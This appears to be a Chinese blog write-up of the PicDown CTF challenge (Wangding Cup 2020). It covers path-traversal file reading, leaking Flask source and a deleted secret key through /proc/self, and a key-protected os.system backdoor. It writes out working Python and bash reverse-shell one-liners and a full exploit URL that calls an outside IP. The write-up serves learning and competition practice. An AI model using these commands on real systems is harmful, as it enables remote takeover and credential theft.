[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息

[网鼎杯 2020 白虎组]PicDown - 知乎

这里确实完全不会 第一次遇到一个只有文件读取思路的题目

这里也确实说明还是要学学一些其他的东西了

首先打开环境

 只存在一个框框 我们通过 目录扫描 抓包 注入 发现没有用

我们测试能不能任意文件读取

?url=../../../../etc/passwd

发现读取成功

其次我到这里就没有思路了

我们首先学东西吧

当遇到文件读取我们可以读取什么

linux 文件读取

Linux的/proc/self/学习_lmonstergg的博客-CSDN博客

我们可以打开我们的linux看看

除了我们最常见的 etc/passwd

其实还存在着两个文件 可以读取

environ

proc/self/environ
environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息:

还是很敏感的 有的题目就喜欢出在环境变量里

第二个

cmdline

我们可以通过这个知道使用者在做什么

所以这道题 我们可以继续来读取

 cmdline中出现了 app.py 内容

我们需要读取

但是内容在哪里呢。。。。

这个只能猜测了

但是我们知道 当前工作环境多半就是app.py

所以其实在 proc里面 也同样存在着当前工作环境的文件

这个是一个方法

cwd

proc/self/cwd/app.py

 第二种 猜测main.py

我们猜测当前环境的文件名有main.py

失败

第三种

app.py 我们猜测在 app文件夹中

失败

但是通过上面的cwd我们可以获取代码了

现在开始代码审计

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

我们在读取代码后发现

@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res

这里是重要的内容

首先要获取 secet_/tmp/secret.txtkey

我们去看看/tmp/secret.txt

 没有啊

但是这里我们需要学习一个内容

open在linux

这里上面文件可能是被删除或其他

但是我们需要看到一个代码

f = open(SECRET_FILE)

 这里很显然是通过 open函数打开 那么在linux中会创建文件标识符

文件标识符

文件标识符是一个非负整数

其实是一个索引值

当程序打开或创建 一个进程的时候

内核会创建一个标识符

这个标识符 会存储在 proc/self/fd/数字

这个文件中

所以我们通过bp爆破来获取

在第三个中 我们获取到了值 我们通过base解密一下

发现不是 那么就是明文了

所以我们获取了key的值

zBsgJNHfXv01kvfGS0c0B9UxLVTYcpCK73NVovFs/cE=

下面我们通过反弹shell来执行

正好学习一下什么是反弹shell吧

python反弹shell

含义

反弹shell的含义

正向 就是 攻击者通过(ssh,远程桌面等) 链接用户客户端

反向 就是 用户客户端作为主动链接方 主动链接攻击方

主要的目的是什么呢

目的

对方服务器存在防火 只能发送 不允许接受

ip发生变化

攻击者需要在自己的 bash 终端上执行命令

那这种反弹shell的原理是什么呢

原理

让受害方 主动链接 攻击者主机

攻击者开放 19111端口TCP服务

受害者链接 19111端口


攻击者 受害者 建立 TCP链接

攻击者通过 TCP 发送命令 给受害者执行

受害者将执行后的命令返回

我们来模拟实验一下

首先确定攻击和受害的ip

这里我使用我的ubuntu 和kali

kali的ip为  192.168.48.130


centos的ip为  192.168.48.132

我们首先

设置centos防火墙

setenforce 0   //设置SELinux 成为permissive模式 临时关闭selinux的 
service iptables status  //查看防火墙状态

然后kali通过nc监听

centos通过 反弹shell

//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

发现成功获取了 终端控制

 bash反弹shell

同样我们先要获取bash

centos中

nc -lvvp 4444  #kali
bash -i >& /dev/tcp/192.168.48.130/4444 0>&1   #centos

成功获取

这里我们回到做题

kali中开始监听 然后通过python执行反弹shell命令即可

/no_one_know_the_manager?key=zBsgJNHfXv01kvfGS0c0B9UxLVTYcpCK73NVovFs/cE=&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("112.74.89.58",41871));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

然后通过url编码传递

上面我写详细一点

NATAPP -通过这个网站可以购买到 临时域名

免费的注册一下就行了

通过里面的软件

我们下载

然后通过命令行

natapp.exe --authtoken=

后面跟上 自己的就可以了

 这里会出现端口和域名 我们去ping一下域名 获得ip即可

然后构造即可

非预期

这里还有非预期 直接通过 page?url=/flag

直接输出flag。。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值